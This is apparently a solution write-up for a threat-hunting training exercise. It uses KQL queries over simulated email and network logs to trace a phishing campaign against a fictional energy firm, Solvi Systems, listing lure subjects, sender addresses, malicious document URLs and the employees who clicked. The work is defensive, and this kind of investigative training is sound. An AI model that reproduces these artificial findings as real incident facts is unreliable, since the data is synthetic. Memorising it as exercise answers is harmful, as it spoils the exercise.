2024-05-21 16:13:40.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com norman_marine@solvisystems.com [EXTERNAL] RE: Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-21 16:13:40.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com rosie_baker@solvisystems.com [EXTERNAL] RE: Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-21 16:13:40.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com jani_walden@solvisystems.com [EXTERNAL] RE: Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-21 16:13:40.0000 energy_industry_news@protonmail.com energy_industry_news@protonmail.com arthur_crawford@solvisystems.com [EXTERNAL] RE: Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-23 16:41:45.0000 electric_updates@gmail.com energy_industry_news@protonmail.com christopher_lane@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-23 16:41:45.0000 electric_updates@gmail.com energy_industry_news@protonmail.com taylor_green@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-23 16:41:45.0000 electric_updates@gmail.com energy_industry_news@protonmail.com caroline_warren@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-23 16:41:45.0000 electric_updates@gmail.com energy_industry_news@protonmail.com reina_greenhouse@solvisystems.com [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry CLEAN https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net virginia_hesse@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net dana_zimmerman@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net allyson_clay@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net steven_suehs@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net james_carpenter@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
2024-05-24 12:48:52.0000 news@eco-awareness-updates.net news@eco-awareness-updates.net virginia_hesse@solvisystems.com [EXTERNAL] Business Opportunity: Two major energy companies merging CLEAN http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx

There are 56 emails linking to any of the three malicious domains. Using more precise queries I can extract more specific information.

The subject lines are (ignoring duplicates due to forwarding FW: and replies RE:):

  1. [EXTERNAL] Business Opportunity: Two major energy companies merging
  2. [EXTERNAL] [!Critical!] New Market Challenges for Solvi Systems
  3. [EXTERNAL] Energy Industry Trends 2024 for Solvi Systems
  4. [EXTERNAL] [!!!] Recent Mergers and Acquisitions in the Energy Industry

The targets are given links to download documents related to the alleged subject:

  1. Energy_Industry_Trends_2024_4_Solvi.docx
  2. Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
  3. Eco_Awareness_Update_2024.docx

The email addresses used by this campaign are:

  1. news@eco-awareness-updates.net
  2. energy_industry_news@protonmail.com
  3. electric_updates@gmail.com

And the targeted users are:

let bad_domains =
InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| sort by role desc
Query Results
recipient hire_date name user_agent ip_addr company_domain username role hostname
carla_wharton@solvisystems.com 2023-01-25 00:00:00.0000 Carla Wharton Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/6.0) 10.10.0.164 solvisystems.com cawharton Sales Representative JUSP-LAPTOP
jani_walden@solvisystems.com 2023-06-29 00:00:00.0000 Jani Walden Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 10.10.0.145 solvisystems.com jawalden Sales Representative EIPG-MACHINE
leona_brown@solvisystems.com 2023-05-13 00:00:00.0000 Leona Brown Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 10.10.0.211 solvisystems.com lebrown Sales Representative TGJX-LAPTOP
howard_wetmore@solvisystems.com 2023-07-07 00:00:00.0000 Howard Wetmore Mozilla/5.0 (Windows NT 5.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 10.10.0.235 solvisystems.com howetmore Sales Representative ESQA-LAPTOP
tommie_ross@solvisystems.com 2024-02-07 00:00:00.0000 Tommie Ross Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Safari/537.36 10.10.0.166 solvisystems.com toross Sales Representative FO2P-MACHINE
marian_kertzman@solvisystems.com 2022-04-16 00:00:00.0000 Marian Kertzman Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 10.10.0.191 solvisystems.com makertzman Sales Representative MQQY-MACHINE
milagros_stell@solvisystems.com 2021-08-18 00:00:00.0000 Milagros Stell Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 10.10.0.120 solvisystems.com mistell Sales Representative FQDF-LAPTOP
norman_marine@solvisystems.com 2022-01-27 00:00:00.0000 Norman Marine Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 10.10.0.173 solvisystems.com nomarine Sales Representative WBRZ-LAPTOP
mariella_braswell@solvisystems.com 2021-10-29 00:00:00.0000 Mariella Braswell Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Win64; x64; Trident/6.0) 10.10.0.41 solvisystems.com mabraswell Sales Representative 7ZTV-MACHINE
william_williams@solvisystems.com 2021-04-18 00:00:00.0000 William Williams Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 10.10.0.205 solvisystems.com wiwilliams Sales Representative KXUR-DESKTOP
james_carpenter@solvisystems.com 2022-10-25 00:00:00.0000 James Carpenter Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 10.10.0.131 solvisystems.com jacarpenter Sales Representative RE3B-MACHINE
gary_mcdougle@solvisystems.com 2022-09-03 00:00:00.0000 Gary Mcdougle Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko 10.10.0.140 solvisystems.com gamcdougle Sales Representative SRKP-DESKTOP
caroline_warren@solvisystems.com 2021-06-20 00:00:00.0000 Caroline Warren Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) 10.10.0.62 solvisystems.com cawarren Sales Representative FXMT-LAPTOP
mary_clarence@solvisystems.com 2021-11-26 00:00:00.0000 Mary Clarence Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 10.10.0.177 solvisystems.com maclarence Sales Representative JC6L-DESKTOP
amanda_strickland@solvisystems.com 2022-09-24 00:00:00.0000 Amanda Strickland Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 10.10.0.193 solvisystems.com amstrickland Sales Representative WDVW-MACHINE
tosha_mildon@solvisystems.com 2022-06-02 00:00:00.0000 Tosha Mildon Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 10.10.0.77 solvisystems.com tomildon Sales Representative 7Z7I-LAPTOP
steven_suehs@solvisystems.com 2022-09-21 00:00:00.0000 Steven Suehs Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 10.10.0.88 solvisystems.com stsuehs Sales Representative U8M8-LAPTOP
jamie_lee@solvisystems.com 2023-01-15 00:00:00.0000 Jamie Lee Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 10.0; WOW64; Trident/4.0) 10.10.0.2 solvisystems.com jalee Project Manager for Docks ICS UPLM-DESKTOP
alexei_petrov@solvisystems.com 2023-03-01 00:00:00.0000 Alexei Petrov Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 Safari/537.36 10.10.0.3 solvisystems.com alpetrov Docks Customer Success Manager SJ9V-MACHINE
taylor_green@solvisystems.com 2022-07-01 00:00:00.0000 Taylor Green Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) 10.10.0.1 solvisystems.com tagreen DOCKS ICS Security Lead JP4D-MACHINE
carolyn_ocampo@solvisystems.com 2023-11-03 00:00:00.0000 Carolyn Ocampo Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.78 Safari/537.36 10.10.1.70 solvisystems.com caocampo Customer Support Specialist BHMF-LAPTOP
annie_jay@solvisystems.com 2022-12-02 00:00:00.0000 Annie Jay Mozilla/5.0 (Windows NT 6.2; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 10.10.0.81 solvisystems.com anjay Customer Support Specialist 1WA7-DESKTOP
roy_wixon@solvisystems.com 2021-08-13 00:00:00.0000 Roy Wixon Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Trident/6.0) 10.10.0.234 solvisystems.com rowixon Customer Support Specialist VM4A-DESKTOP
heather_cunningham@solvisystems.com 2021-07-30 00:00:00.0000 Heather Cunningham Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0) 10.10.0.220 solvisystems.com hecunningham Customer Support Specialist BEFQ-DESKTOP
laura_lesage@solvisystems.com 2022-11-20 00:00:00.0000 Laura Lesage Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.120 Safari/537.36 10.10.1.15 solvisystems.com lalesage Customer Support Specialist A5FB-LAPTOP
david_eye@solvisystems.com 2023-05-27 00:00:00.0000 David Eye Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; Trident/4.0) 10.10.0.82 solvisystems.com daeye Customer Support Specialist 8N1N-MACHINE
elizabeth_hampton@solvisystems.com 2023-02-17 00:00:00.0000 Elizabeth Hampton Mozilla/5.0 (Windows NT 10.0; rv:46.0) Gecko/20100101 Firefox/46.0 10.10.0.15 solvisystems.com elhampton Customer Support Specialist AVKN-DESKTOP
albert_richards@solvisystems.com 2021-09-05 00:00:00.0000 Albert Richards Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko 10.10.1.69 solvisystems.com alrichards Customer Support Specialist 96DK-MACHINE
lauren_gee@solvisystems.com 2023-02-10 00:00:00.0000 Lauren Gee Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.120 Safari/537.36 10.10.0.212 solvisystems.com lagee Customer Support Specialist F2GT-MACHINE
michael_kraft@solvisystems.com 2022-02-02 00:00:00.0000 Michael Kraft Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0) 10.10.1.31 solvisystems.com mikraft Customer Support Specialist EF6R-DESKTOP
reina_greenhouse@solvisystems.com 2022-05-24 00:00:00.0000 Reina Greenhouse Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; Trident/4.0) 10.10.0.248 solvisystems.com regreenhouse Customer Support Specialist YDAM-LAPTOP
van_clark@solvisystems.com 2023-06-11 00:00:00.0000 Van Clark Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 10.10.0.29 solvisystems.com vaclark Customer Support Specialist A79I-MACHINE
robert_ortiz@solvisystems.com 2021-08-26 00:00:00.0000 Robert Ortiz Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) 10.10.1.68 solvisystems.com roortiz Customer Support Specialist VRJN-MACHINE
kathleen_harrison@solvisystems.com 2023-07-23 00:00:00.0000 Kathleen Harrison Mozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0 10.10.1.9 solvisystems.com kaharrison Customer Support Specialist VJ3O-MACHINE
carl_warfield@solvisystems.com 2021-06-20 00:00:00.0000 Carl Warfield Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Win64; x64; Trident/6.0) 10.10.0.24 solvisystems.com cawarfield Customer Support Specialist ZRRB-MACHINE
irene_williams@solvisystems.com 2023-04-21 00:00:00.0000 Irene Williams Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 10.10.1.64 solvisystems.com irwilliams Customer Support Specialist X6XK-DESKTOP
donna_malick@solvisystems.com 2021-11-08 00:00:00.0000 Donna Malick Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Trident/4.0) 10.10.1.84 solvisystems.com domalick Customer Support Specialist LYZF-DESKTOP
jeri_watts@solvisystems.com 2023-02-01 00:00:00.0000 Jeri Watts Mozilla/5.0 (Windows NT 6.2; rv:45.0) Gecko/20100101 Firefox/45.0 10.10.0.97 solvisystems.com jewatts Customer Support Specialist GR0G-MACHINE
leo_culverhouse@solvisystems.com 2022-01-20 00:00:00.0000 Leo Culverhouse Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Safari/537.36 10.10.0.25 solvisystems.com leculverhouse Customer Support Specialist LNSU-DESKTOP
esther_reither@solvisystems.com 2023-05-08 00:00:00.0000 Esther Reither Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 10.10.1.87 solvisystems.com esreither Customer Support Specialist STUV-MACHINE
rosie_baker@solvisystems.com 2021-07-31 00:00:00.0000 Rosie Baker Mozilla/5.0 (Windows NT 5.1; rv:48.0) Gecko/20100101 Firefox/48.0 10.10.1.54 solvisystems.com robaker Customer Support Specialist A9ZV-LAPTOP
arthur_crawford@solvisystems.com 2022-07-18 00:00:00.0000 Arthur Crawford Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) 10.10.0.87 solvisystems.com arcrawford Customer Support Specialist XSCP-LAPTOP
denise_adams@solvisystems.com 2021-11-28 00:00:00.0000 Denise Adams Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Safari/537.36 10.10.0.94 solvisystems.com deadams Customer Support Specialist IZAG-LAPTOP
virginia_hesse@solvisystems.com 2023-05-25 00:00:00.0000 Virginia Hesse Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko 10.10.0.50 solvisystems.com vihesse Customer Support Specialist QP7A-MACHINE
dana_zimmerman@solvisystems.com 2023-12-23 00:00:00.0000 Dana Zimmerman Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 10.10.0.103 solvisystems.com dazimmerman Customer Support Specialist PVRA-DESKTOP
allyson_clay@solvisystems.com 2022-03-02 00:00:00.0000 Allyson Clay Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) 10.10.1.44 solvisystems.com alclay Customer Support Specialist XHEK-MACHINE
christopher_lane@solvisystems.com 2024-01-10 00:00:00.0000 Christopher Lane Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.96 Safari/537.36 10.10.0.175 solvisystems.com chlane Customer Support Specialist B5JF-MACHINE

Most targeted employees are either Customer Support Specialists or Sales Representatives, but worryingly enough, the Project Manager for Docks ICS, Docks Customer Success Manager, and DOCKS ICS Security Lead were also successfully targeted by this campaign. I used this query to confirm who did click the malicious links:

let bad_domains =
InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct role, name, ip_addr
| lookup OutboundNetworkEvents on $left.ip_addr == $right.src_ip
| where tostring(parse_url(url).Host) in (bad_domains)
| sort by timestamp asc
Query Results
role name ip_addr timestamp method user_agent url
Sales Representative Carla Wharton 10.10.0.164 2024-05-01 15:57:41.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/6.0) http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Sales Representative Marian Kertzman 10.10.0.191 2024-05-01 15:57:41.0000 GET Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Annie Jay 10.10.0.81 2024-05-01 16:22:41.0000 GET Mozilla/5.0 (Windows NT 6.2; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Heather Cunningham 10.10.0.220 2024-05-01 16:29:41.0000 GET Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; WOW64; Trident/5.0) http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Roy Wixon 10.10.0.234 2024-05-01 16:34:41.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Trident/6.0) http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Carolyn Ocampo 10.10.1.70 2024-05-01 16:43:41.0000 GET Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.78 Safari/537.36 http://news-on-industry.com/search/online/files/public/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Laura Lesage 10.10.1.15 2024-05-02 15:35:23.0000 GET Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.120 Safari/537.36 https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative William Williams 10.10.0.205 2024-05-02 16:11:23.0000 GET Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Project Manager for Docks ICS Jamie Lee 10.10.0.2 2024-05-02 16:14:23.0000 GET Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 10.0; WOW64; Trident/4.0) https://eco-awareness-update.net/online/images/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Docks Customer Success Manager Alexei Petrov 10.10.0.3 2024-05-03 15:46:40.0000 GET Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 Safari/537.36 http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Elizabeth Hampton 10.10.0.15 2024-05-03 16:07:40.0000 GET Mozilla/5.0 (Windows NT 10.0; rv:46.0) Gecko/20100101 Firefox/46.0 http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist David Eye 10.10.0.82 2024-05-03 16:13:40.0000 GET Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; Trident/4.0) http://energy-trends4u.net/modules/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Mary Clarence 10.10.0.177 2024-05-08 15:57:01.0000 GET Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Michael Kraft 10.10.1.31 2024-05-08 16:01:01.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0) https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Albert Richards 10.10.1.69 2024-05-08 16:21:01.0000 GET Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Lauren Gee 10.10.0.212 2024-05-08 16:27:01.0000 GET Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.120 Safari/537.36 https://news-on-industry.com/search/online/published/Energy_Industry_Trends_2024_4_Solvi.docx
Sales Representative Mariella Braswell 10.10.0.41 2024-05-10 16:27:59.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Win64; x64; Trident/6.0) https://news-on-industry.com/published/images/Energy_Industry_Trends_2024_4_Solvi.docx
Sales Representative Tommie Ross 10.10.0.166 2024-05-10 16:28:59.0000 GET Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Safari/537.36 https://news-on-industry.com/published/images/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Donna Malick 10.10.1.84 2024-05-15 08:07:05.0000 GET Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Trident/4.0) https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Leo Culverhouse 10.10.0.25 2024-05-15 09:40:54.0000 GET Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Safari/537.36 https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Kathleen Harrison 10.10.1.9 2024-05-15 10:36:38.0000 GET Mozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0 https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Jeri Watts 10.10.0.97 2024-05-15 10:59:21.0000 GET Mozilla/5.0 (Windows NT 6.2; rv:45.0) Gecko/20100101 Firefox/45.0 https://news-on-industry.com/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Esther Reither 10.10.1.87 2024-05-16 16:24:22.0000 GET Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Carl Warfield 10.10.0.24 2024-05-16 16:32:22.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Win64; x64; Trident/6.0) http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Robert Ortiz 10.10.1.68 2024-05-16 16:59:22.0000 GET Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Jeri Watts 10.10.0.97 2024-05-17 10:15:57.0000 GET Mozilla/5.0 (Windows NT 6.2; rv:45.0) Gecko/20100101 Firefox/45.0 http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
Sales Representative Amanda Strickland 10.10.0.193 2024-05-17 10:56:02.0000 GET Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 http://energy-trends4u.net/online/modules/published/files/Energy_Industry_Trends_2024_4_Solvi.docx
Customer Support Specialist Carl Warfield 10.10.0.24 2024-05-17 15:33:31.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; Win64; x64; Trident/6.0) http://energy-trends4u.net/images/search/images/images/Eco_Awareness_Update_2024.docx
Customer Support Specialist Irene Williams 10.10.1.64 2024-05-17 15:44:31.0000 GET Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 http://energy-trends4u.net/images/search/images/images/Eco_Awareness_Update_2024.docx
Customer Support Specialist Denise Adams 10.10.0.94 2024-05-20 16:56:53.0000 GET Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Safari/537.36 https://energy-trends4u.net/published/online/modules/online/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Jani Walden 10.10.0.145 2024-05-21 16:19:40.0000 GET Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Howard Wetmore 10.10.0.235 2024-05-21 16:36:40.0000 GET Mozilla/5.0 (Windows NT 5.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Norman Marine 10.10.0.173 2024-05-21 16:40:40.0000 GET Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Rosie Baker 10.10.1.54 2024-05-21 16:54:40.0000 GET Mozilla/5.0 (Windows NT 5.1; rv:48.0) Gecko/20100101 Firefox/48.0 http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Arthur Crawford 10.10.0.87 2024-05-21 16:57:40.0000 GET Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) http://energy-trends4u.net/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
DOCKS ICS Security Lead Taylor Green 10.10.0.1 2024-05-23 16:45:45.0000 GET Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Christopher Lane 10.10.0.175 2024-05-23 16:47:45.0000 GET Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.96 Safari/537.36 https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Caroline Warren 10.10.0.62 2024-05-23 16:57:45.0000 GET Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Reina Greenhouse 10.10.0.248 2024-05-24 08:07:51.0000 GET Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; Trident/4.0) https://eco-awareness-update.net/online/files/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative Steven Suehs 10.10.0.88 2024-05-24 12:49:52.0000 GET Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
